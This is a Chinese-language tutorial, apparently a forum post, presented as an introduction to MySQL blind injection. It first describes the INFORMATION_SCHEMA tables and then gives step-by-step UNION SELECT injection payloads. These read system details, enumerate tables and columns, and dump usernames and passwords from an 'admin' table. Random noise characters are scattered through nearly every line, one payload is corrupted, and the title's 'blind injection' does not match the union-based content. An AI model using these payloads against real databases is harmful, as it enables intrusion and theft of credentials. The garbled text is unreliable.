本文介绍MYSQL盲注的一些语句和方法
5 ]. `" ^( \3 I) i/ ]8 l; p0 j/ d
Q8 f* T' @' J4 W" p学习盲注前先了解下 IFORMATION_SCHEMA 库; y; h/ [9 M4 ]6 E7 I4 u! e
+ w, g+ }$ V2 ]1 F* L9 D' eMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有& ?' S. `: j9 Y, l' v; z
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
& Z7 Q7 ^+ M( r0 U N1.得到所有数据库名:
5 ]% z! W: ]; w% @2 }2 y. q F|SCHEMATA ->存储数据库名的表; Z: L8 k! t7 k) U9 G% J
|---字段:SCHEMA_NAME ->数据库名称7 W/ E3 x( Z _8 J- ]- Q
3 W* K& h3 Z, Z4 } n. H, ?" H! `|TABLES ->存储表名8 \. C, f, [8 H- P
|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名: E4 o. [( h3 A( [! {( s& g
|---字段:TABLE_NAME ->存储表的表名1 q' T4 b @* f6 x2 P* o) n
2 r% A2 y; L4 i% t|COLUMNS ->存储的字段名表 _8 C6 z- y1 T+ z! o) f5 U
|---字段:TABLE_SCHEMA ->该字段所属数据库名
( E0 H" R. I Q( h0 W C( ?|---字段:TABLE_NAME ->存储所属表的名称- |- g9 B. [" t" M4 b
5 J& v7 ~, M4 W" J/ G8 ?|---字段:COLUMN_NAME ->该字段的名称5 c+ c _/ F' Y! B3 ^7 _: j+ O2 \
. W5 `1 Z7 `6 ~) y0 I C, A5 j3 Z6 X 0 d9 f( p4 O+ l* q
" N7 X4 }3 U; t6 N###########################################################################
n8 \3 `. O: f2 M0 d/ H8 l
! e$ a% R' Q) j. {* c- Z0x001 获取系统信息:, k' y+ W. G0 i" g0 x
7 |( D% y, X) x: z' l# @
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
6 Q S1 f7 R. o% ?' e
3 {# p1 P2 \0 G+ {/** b9 n( f, }3 z0 n( `; i
}! e c% I% i5 r* ?+ s@@global.version_compile_os 获取系统版本
+ d) v5 g+ Y0 t& y f2 K& n) s' S
8 B6 w6 L/ u6 w! Q@@datadir 数据库路径; t4 o- m$ I- c( W
database() 当前数据库名称, G. e2 |+ \ H: Y& s
0x3c62723e 换行HEX值
8 L' D" {) |- O0 i& E
- Z" N5 y+ f; }3 |*/
7 C, b/ [! }% g9 X |" P- s3 B3 e! y N
$ a1 x2 s; s% K3 u
8 c+ P5 M! N" K \5 z
######################################################################" u4 b& Z/ Q, C4 C7 Q7 |0 T9 D+ A( s
% ^; @9 G- d7 V0 | u/ ?- I# p
0x002 获取表名
( K: ^0 [ t4 G5 u9 ]' x" e2 ~, Y( [* o! M# a3 @0 l: T+ W0 x
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
: o* H' q% u, R7 f
4 L* f% @, E/ g4 X 8 p2 C6 ?$ l9 [) }$ R. z7 W6 g
% h1 I! ~! |' A! n
/*
0 H, {; v7 Q; y/ o- E. c7 e3 q) y
/ C2 U" S8 Q S0x67617264656e 为当前数据库名# _+ J2 q+ s! k
o; i& n7 k2 L }# j
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名+ G0 Y9 t8 l% }+ _* E! b* [: I
# X) ^0 W F. E# h8 [' B*/
( T, h3 D6 T/ b" K q
$ T- P( Y u4 W######################################################################
7 h( @ h, E) p/ T ^
9 _' g/ d) W4 W- r ^; l! \& q: G9 s
0 Q5 u& M" m" ]2 q/ g/ v# `2 n9 Z6 C$ Y! J D
0x003 获取字段
$ j9 Q3 z" J6 |4 o( f
$ s: N' h4 V/ _. Nunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /** z! c4 j) I! l' c8 i4 z' L
$ x# [6 `8 h8 i& G
/*
& V8 t4 D2 c4 S, E1 x
0 h7 P; B8 y s) a: m8 D2 ogroup_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段/ ^: Z8 p- ~: o) {7 q
) L/ }/ Z+ I* F- ?
0x61646d696e ->选择一个表
: J w: h/ H8 x7 n- {/ y6 X4 {" P& S& { f. X0 J- V
0x67617264656e ->数据库名
$ }1 N( ]" Y! `- p T# C
+ z( L4 \7 r J% K* X( c3 P$ _/ L*/
. e- t& }, _# T+ k* W9 g
$ X: z8 d2 O: A4 l8 I: A8 u. C& D###################################################################### s- N# ]* a+ i8 U3 f# w T" T- _
7 o: ^' ?+ {. O1 H5 G1 {# K
7 E! F4 ^% j4 y7 k+ T: z" Z( `; z
0 x7 x) ~' e! r+ ?* g0x004 获取数据
: n2 r! Y z4 I- e4 W1 R
$ Y& [, v/ `+ g8 I% \0 ?union select 1,2,3
# H6 g/ i5 h% g# n6 }5 p,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin% f; v8 z# ]+ n; o5 {2 W
8 w$ Q) t# ^9 u
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
" _/ t6 ]3 ~4 w# P
2 _6 C+ W% ]- |% c1 Z% X 6 L' N6 d* w$ C5 z
! L; ]$ R$ _/ o+ |1 V/*7 v: w( q2 h* l, q9 c! l
' B# ?5 d' L- N$ Z* M0x3c62723e 换行符号HEX编码
- v) ^7 l* p! e: P5 j- X
, @# C+ ~. S+ s- K# \( f$ B/ {group_concat 同时获得该字段所有数据% U3 c7 G- V: j5 z
+ L% G- l! S- Y7 f+ W*/
6 Y/ c4 U8 A6 {- B4 j& Z/ P+ a/ y1 x0 f# c; b- R- P6 Y
|